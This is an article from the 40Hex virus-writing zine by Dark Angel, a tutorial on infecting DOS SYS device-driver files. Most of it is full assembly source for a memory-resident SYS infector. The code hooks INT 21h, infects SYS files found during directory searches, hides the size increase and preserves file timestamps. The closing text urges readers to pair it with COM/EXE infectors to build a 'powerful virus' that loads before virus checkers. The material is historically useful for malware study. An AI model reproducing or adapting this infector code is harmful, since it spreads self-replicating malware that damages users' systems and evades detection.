home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / 40hex_9.002 < prev    next >
Text File  |  1995-01-03  |  19KB  |  455 lines

  1. 40Hex Number 9 Volume 2 Issue 5                                       File 002
  2.  
  3.                    ─────────────────────────────────────────
  4.                    An Introduction to Nonoverwriting Viruses
  5.                             Part III: SYS Infectors
  6.                                  By Dark Angel
  7.                    ─────────────────────────────────────────
  8.   
  9.        The SYS  file is the most overlooked executable file structure in DOS.
  10.   Viruses are  quite capable of infecting SYS files, as DOS kindly allows for
  11.   such extensions to this file format.
  12.   
  13.        The SYS  file is loaded beginning at offset 0 of a particular segment.
  14.   It consists  of a  header followed  by code.   SYS  files  may  be  chained
  15.   together after  a simple  modification in  the header.   This is the key to
  16.   infecting SYS files.
  17.   
  18.        There are  two types  of device  drivers; block  and character.  Block
  19.   devices include  floppy, hard,  and virtual disks, i.e. any media which can
  20.   store data.   Character devices include printers, modems, keyboard, and the
  21.   screen.   The virus  will generally  be a  character device,  as it reduces
  22.   complexity.
  23.   
  24.   The header structure is straightforward:
  25.   
  26.   Offset  Size  Description
  27.   ------  ----  -----------
  28.     0h    DWORD Pointer to next header
  29.     4h    WORD  Attribute
  30.     6h    WORD  Pointer to strategy routine
  31.     8h    WORD  Pointer to interrupt routine
  32.    0Ah    QWORD Name of the device driver
  33.   
  34.   The pointer  to the next device driver header appears at offset zero in the
  35.   header.  This is a far pointer consisting of a segment:offset pair.  If the
  36.   current device  is the  only device  appearing in  the SYS  file, then this
  37.   pointer should  be set  to FFFF:FFFF.   However,  if there  are two or more
  38.   device drivers contained in the file, then the offset field should be equal
  39.   to the absolute location of the next device in the file.  The segment field
  40.   should remain  FFFF.   For example,  if a  second device  driver occurs  at
  41.   offset 300h of the file, then the DWORD at offset 0 would be FFFF:0300  The
  42.   second (and all other) device driver must contain a new header as well.
  43.   
  44.   The next  field contains  the attribute  of the  device  driver.    Bit  15
  45.   determines the  nature of  the device  driver.   If bit 15 is set, then the
  46.   device driver  header corresponds  to a  character device;  otherwise,  the
  47.   device is  a block  device.   You need not concern yourself with any of the
  48.   other bits; they may remain cleared.
  49.   
  50.   Before the  next two fields may be understood, it is necessary to introduce
  51.   the concept  of the  request header.   The  request header  contains  DOS's
  52.   requests of the device driver.  For example, DOS may ask for initialisation
  53.   or a  read or  even a  status check.   The information needed by the device
  54.   driver to interpret the request is all contained in the request header.  It
  55.   is passed  to the  strategy routine  by DOS as a far pointer in ES:BX.  The
  56.   job of the strategy routine is to save the pointer for use by the interrupt
  57.   routine.   The interrupt  routine is  called by  DOS immediately  after the
  58.   strategy routine.   This  routine processes  the request  in the header and
  59.   performs the appropriate actions.
  60.   
  61.   The word-length  pointers in  the SYS  header to the strategy and interrupt
  62.   routines are  relative to  the start  of the SYS file.  So, if the strategy
  63.   routine resides  in absolute  offset  32h  in  the  file,  then  the  field
  64.   containing the location of the strategy routine would hold the number 32h.
  65.   
  66.   The name  field in  the SYS header simply holds an 8 byte device name.  For
  67.   example, 'NUL     '  and 'CLOCK$  '  are two  common DOS devices.  The name
  68.   should be justified with space characters (0x20).
  69.   
  70.        By using  DOS's feature  of chaining  SYS files,  we may easily infect
  71.   this type  of file.   No  bytes need to be saved.  There are but two steps.
  72.   The first is to concatenate the virus to the target file.  The second is to
  73.   alter the  first word  of the  SYS file  to point to the virus header.  The
  74.   only trick  involved is  writing the  SYS interrupt routine.  The format of
  75.   the request header is:
  76.   
  77.   Offset  Size  Description
  78.   ------  ----  -----------
  79.     0h    BYTE  Length of request header (in bytes)
  80.     1h    BYTE  Unit code (for block devices)
  81.     2h    BYTE  Command code
  82.     3h    WORD  Status
  83.     5h    QWORD Reserved by DOS
  84.    0Dh    Var.  Data for the operation
  85.   
  86.        Only one  command code  is relevant  for  use  in  the  virus.    Upon
  87.   initialisation of  the device driver, DOS will send a request header with 0
  88.   in the  command code  field.  This is the initialisation check.  The format
  89.   of the variable sized field in the request header in this case is:
  90.   
  91.   Offset  Size  Description
  92.   ------  ----  -----------
  93.    0Dh    BYTE  Number of units (ignored by character devices)
  94.    0Eh    DWORD Ending address of resident program code
  95.    12h    DWORD Pointer to BPB aray (ignored by character devices)
  96.    16h    BYTE  Drive number (irrelevant in character devices)
  97.   
  98.        The only  relevant fields are at offset 3 and 0Eh.  Offset 3 holds the
  99.   status word of the operation.  The virus fills this in with the appropriate
  100.   value.   Generally, the virus should put a value of 100h in the status word
  101.   in the  event of a successful request and a 8103h in the status word in the
  102.   event of  a failure.   The 8103h causes DOS to think that the device driver
  103.   does not  understand the  request.   A value of 8102h should be returned in
  104.   the event  of a  failed installation.   Offset 0Eh will hold the address of
  105.   the end  of the  virus (include  the heap!)  in the  event of  a successful
  106.   installation and CS:0 in the event of a failure.
  107.   
  108.        Basically, the  strategy routine  of the virus should contain a simple
  109.   stub to  save the  es:bx pointer.   The  interrupt routine  should fail all
  110.   requests other  than initialisation.   It should perform an installation if
  111.   the virus  is not  yet installed  and fail  if  it  is  already  in  memory
  112.   (remember to set offset 0eh to cs:0).
  113.   
  114.   A sample  infector with very limited stealth features follows.  While it is
  115.   somewhat large,  it may  be easily  coupled with a simple COM/EXE infection
  116.   routine to  create a  powerful virus.   It  is a  SYS-only, memory resident
  117.   infector.
  118.   
  119.   ---------------------------------------------------------------------------
  120.   .model tiny
  121.   .code
  122.   org 0                           ; SYS files originate at zero
  123.   ; SYS infector
  124.   ; Written by Dark Angel of Phalcon/Skism
  125.   ; for 40Hex
  126.   header:
  127.   
  128.   next_header dd -1               ; FFFF:FFFF
  129.   attribute   dw  8000h           ; character device
  130.   strategy    dw  offset _strategy
  131.   interrupt   dw  offset _interrupt
  132.   namevirus   db  'SYS INF '      ; simple SYS infector
  133.   
  134.   endheader:
  135.   
  136.   author      db  0,'Simple SYS infector',0Dh,0Ah
  137.               db    'Written by Dark Angel of Phalcon/Skism',0
  138.   
  139.   _strategy:  ; save es:bx pointer
  140.           push    si
  141.           call    next_strategy
  142.   next_strategy:
  143.           pop     si
  144.           mov     cs:[si+offset savebx-offset next_strategy],bx
  145.           mov     cs:[si+offset savees-offset next_strategy],es
  146.           pop     si
  147.           retf
  148.   
  149.   _interrupt:  ; install virus in memory
  150.           push    ds                      ; generally, only the segment
  151.           push    es                      ; registers need to be preserved
  152.   
  153.           push    cs
  154.           pop     ds
  155.   
  156.           call    next_interrupt
  157.   next_interrupt:
  158.           pop     bp
  159.           les     bx,cs:[bp+savebx-next_interrupt] ; get request header
  160.   pointer
  161.   
  162.           mov     es:[bx+3],8103h         ; default to fail request
  163.           cmp     byte ptr es:[bx+2], 0   ; check if it is installation
  164.   request
  165.           jnz     exit_interrupt          ; exit if it is not
  166.   
  167.           mov     es:[bx+10h],cs          ; fill in ending address value
  168.           lea     si,[bp+header-next_interrupt]
  169.           mov     es:[bx+0eh],si
  170.           dec     byte ptr es:[bx+3]      ; and assume installation failure
  171.   
  172.           mov     ax, 0b0fh               ; installation check
  173.           int     21h
  174.           cmp     cx, 0b0fh
  175.           jz      exit_interrupt          ; exit if already installed
  176.   
  177.           add     es:[bx+0eh],offset endheap ; fixup ending address
  178.           mov     es:[bx+3],100h          ; and status word
  179.   
  180.           xor     ax,ax
  181.           mov     ds,ax                   ; ds->interrupt table
  182.           les     bx,ds:[21h*4]           ; get old interrupt handler
  183.           mov     word ptr cs:[bp+oldint21-next_interrupt],bx
  184.           mov     word ptr cs:[bp+oldint21+2-next_interrupt],es
  185.   
  186.           lea     si,[bp+int21-next_interrupt]
  187.           cli
  188.           mov     ds:[21h*4],si           ; replace int 21h handler
  189.           mov     ds:[21h*4+2],cs
  190.           sti
  191.   exit_interrupt:
  192.           pop     es
  193.           pop     ds
  194.           retf
  195.   
  196.   int21:
  197.           cmp     ax,0b0fh                ; installation check?
  198.           jnz     notinstall
  199.           xchg    cx,ax                   ; mark already installed
  200.   exitint21:
  201.           iret
  202.   notinstall:
  203.           pushf
  204.           db      9ah                     ; call far ptr  This combined with
  205.   the
  206.   oldint21 dd     ?                       ; pushf simulates an int 21h call
  207.   
  208.           pushf
  209.   
  210.           push    bp
  211.           push    ax
  212.   
  213.           mov     bp, sp                  ; set up new stack frame
  214.                                           ; flags         [bp+10]
  215.                                           ; CS:IP         [bp+6]
  216.                                           ; flags new     [bp+4]
  217.                                           ; bp            [bp+2]
  218.                                           ; ax            [bp]
  219.           mov     ax, [bp+4]              ; get flags
  220.           mov     [bp+10], ax             ; replace old flags with new
  221.   
  222.           pop     ax                      ; restore the stack
  223.           pop     bp
  224.           popf
  225.   
  226.           cmp     ah, 11h                 ; trap FCB find first and
  227.           jz      findfirstnext
  228.           cmp     ah, 12h                 ; FCB find next calls only
  229.           jnz     exitint21
  230.   findfirstnext:
  231.           cmp     al,0ffh                 ; successful findfirst/next?
  232.           jz      exitint21               ; exit if not
  233.   
  234.           push    bp
  235.           call    next_int21
  236.   next_int21:
  237.           pop     bp
  238.           sub     bp, offset next_int21
  239.   
  240.           push    ax                      ; save all registers
  241.           push    bx
  242.           push    cx
  243.           push    dx
  244.           push    ds
  245.           push    es
  246.           push    si
  247.           push    di
  248.   
  249.           mov     ah, 2fh                 ; ES:BX <- DTA
  250.           int     21h
  251.   
  252.           push    es                      ; DS:BX->DTA
  253.           pop     ds
  254.   
  255.           cmp     byte ptr [bx], 0FFh     ; extended FCB?
  256.           jnz     regularFCB              ; continue if not
  257.           add     bx, 7                   ; otherwise, convert to regular FCB
  258.   regularFCB:
  259.           mov     cx, [bx+29]             ; get file size
  260.           mov     word ptr cs:[bp+filesize], cx
  261.   
  262.           push    cs                      ; ES = CS
  263.           pop     es
  264.   
  265.           cld
  266.   
  267.           ; The following code converts the FCB to an ASCIIZ string
  268.           lea     di, [bp+filename]       ; destination buffer
  269.           lea     si, [bx+1]              ; source buffer - filename
  270.   
  271.           cmp     word ptr [si],'OC'      ; do not infect CONFIG.SYS
  272.           jz      bombout
  273.   
  274.           mov     cx, 8                   ; copy up to 8 bytes
  275.   back:   cmp     byte ptr ds:[si], ' '   ; is it a space?
  276.           jz      copy_done               ; if so, done copying
  277.           movsb                           ; otherwise, move character to
  278.   buffer
  279.           loop    back
  280.   
  281.   copy_done:
  282.           mov     al, '.'                 ; copy period
  283.           stosb
  284.   
  285.           mov     ax, 'YS'
  286.           lea     si, [bx+9]              ; source buffer - extension
  287.           cmp     word ptr [si], ax       ; check if it has the SYS
  288.           jnz     bombout                 ; extension and exit if it
  289.           cmp     byte ptr [si+2], al     ; does not
  290.           jnz     bombout
  291.           stosw                           ; copy 'SYS' to the buffer
  292.           stosb
  293.   
  294.           mov     al, 0                  ; copy null byte
  295.           stosb
  296.   
  297.           push    ds
  298.           pop     es                      ; es:bx -> DTA
  299.   
  300.           push    cs
  301.           pop     ds
  302.   
  303.           xchg    di,bx                   ; es:di -> DTA
  304.                                           ; open file, read/only
  305.           call    open                    ; al already 0
  306.           jc      bombout                 ; exit on error
  307.   
  308.           mov     ah, 3fh                 ; read first
  309.           mov     cx, 2                   ; two bytes of
  310.           lea     dx, [bp+buffer]         ; the header
  311.           int     21h
  312.   
  313.           mov     ah, 3eh                 ; close file
  314.           int     21h
  315.   
  316.   InfectSYS:
  317.           inc     word ptr cs:[bp+buffer] ; if first word not FFFF
  318.           jz      continueSYS             ; assume already infected
  319.                                           ; this is a safe bet since
  320.                                           ; most SYS files do not have
  321.                                           ; another SYS file chained on
  322.   
  323.   alreadyinfected:
  324.           sub     es:[di+29], heap - header ; hide file size increase
  325.                                           ; during a DIR command
  326.                                           ; This causes CHKDSK errors
  327.          ;sbb     word ptr es:[di+31], 0  ; not needed because SYS files
  328.                                           ; are limited to 64K maximum
  329.   
  330.   bombout:
  331.           pop     di
  332.           pop     si
  333.           pop     es
  334.           pop     ds
  335.           pop     dx
  336.           pop     cx
  337.           pop     bx
  338.           pop     ax
  339.           pop     bp
  340.           iret
  341.   
  342.   continueSYS:
  343.           push    ds
  344.           pop     es
  345.   
  346.           lea     si, [bp+offset header]
  347.           lea     di, [bp+offset bigbuffer]
  348.           mov     cx, offset endheader - offset header
  349.           rep     movsb
  350.   
  351.           mov     cx, cs:[bp+filesize]
  352.           add     cx, offset _strategy - offset header  ; calculate offset to
  353.           mov     word ptr [bp+bigbuffer+6],cx            ; strategy routine
  354.   
  355.           add     cx, offset _interrupt - offset _strategy;calculate offset to
  356.           mov     word ptr cs:[bp+bigbuffer+8], cx        ; interrupt routine
  357.   
  358.   continueinfection:
  359.           mov     ax, 4300h               ; get file attributes
  360.           lea     dx, [bp+filename]
  361.           int     21h
  362.   
  363.           push    cx                      ; save attributes on stack
  364.           push    dx                      ; save filename on stack
  365.   
  366.           mov     ax, 4301h               ; clear file attributes
  367.           xor     cx, cx
  368.           lea     dx,[bp+filename]
  369.           int     21h
  370.   
  371.           call    openreadwrite
  372.   
  373.           mov     ax, 5700h               ; get file time/date
  374.           int     21h
  375.           push    cx                      ; save them on stack
  376.           push    dx
  377.   
  378.           mov     ah, 40h                 ; write filesize to the old
  379.           mov     cx, 2                   ; SYS header
  380.           lea     dx, [bp+filesize]
  381.           int     21h
  382.   
  383.           mov     ax, 4202h               ; go to end of file
  384.           xor     cx, cx
  385.           cwd                             ; xor dx, dx
  386.           int     21h
  387.   
  388.           mov     ah, 40h                 ; concatenate header
  389.           mov     cx, offset endheader - offset header
  390.           lea     dx, [bp+bigbuffer]
  391.           int     21h
  392.   
  393.           mov     ah, 40h                 ; concatenate virus
  394.           mov     cx, offset heap - offset endheader
  395.           lea     dx, [bp+endheader]
  396.           int     21h
  397.   
  398.           mov     ax, 5701h               ; restore file time/date
  399.           pop     dx
  400.           pop     cx
  401.           int     21h
  402.   
  403.           mov     ah, 3eh                 ; close file
  404.           int     21h
  405.   
  406.           mov     ax, 4301h               ; restore file attributes
  407.           pop     cx
  408.           pop     dx
  409.           int     21h
  410.   
  411.           jmp     bombout
  412.   
  413.   openreadwrite:
  414.           mov     al, 2                   ; open read/write mode
  415.   open:   mov     ah, 3dh
  416.           lea     dx,[bp+filename]
  417.           int     21h
  418.           xchg    ax, bx                  ; put handle in bx
  419.           ret
  420.   
  421.   heap:
  422.   savebx   dw      ?
  423.   savees   dw      ?
  424.   buffer   db      2 dup (?)
  425.   filename db     13 dup (?)
  426.   filesize dw     ?
  427.   bigbuffer db    offset endheader - offset header dup (?)
  428.   endheap:
  429.   
  430.   end header
  431.   ---------------------------------------------------------------------------
  432.   
  433.        The reason the "delta offset" is needed throughout the file is because
  434.   it is  impossible to  know the  exact location  where the  SYS file will be
  435.   loaded into memory.  This can be ameliorated by some file padding and fancy
  436.   mathematical calculations.
  437.   
  438.        The advantages of using SYS files are manyfold.  There is no load high
  439.   routine involved  apart from  the strategy/interrupt  routines.  This saves
  440.   space.   SYS files  also generally  load before  TSR virus  checkers.   TSR
  441.   checkers also  can't detect the residency routine of the virus, since it is
  442.   a normal part of the DOS loading process.  The routine for the infection of
  443.   the SYS  file is ridiculously easy to implement and takes remarkably little
  444.   space, so  there is  no reason  not to  include  SYS  support  in  viruses.
  445.   Finally, the  memory "loss"  reported by  CHKDSK  usually  associated  with
  446.   memory resident viruses is not a problem with SYS files.
  447.   
  448.        A SYS  file infector,  when  combined  with  a  COM  and  EXE  general
  449.   infector, can  lead to  a powerful  virus.   Once the  first  SYS  file  is
  450.   infected, the infected system becomes extremely vulnerable to the virus, as
  451.   there is  little the user can  do to prevent the virus  from running, short
  452.   of a clean boot.
  453.  
  454. Downloaded From P-80 International Information Systems 304-744-2253
  455.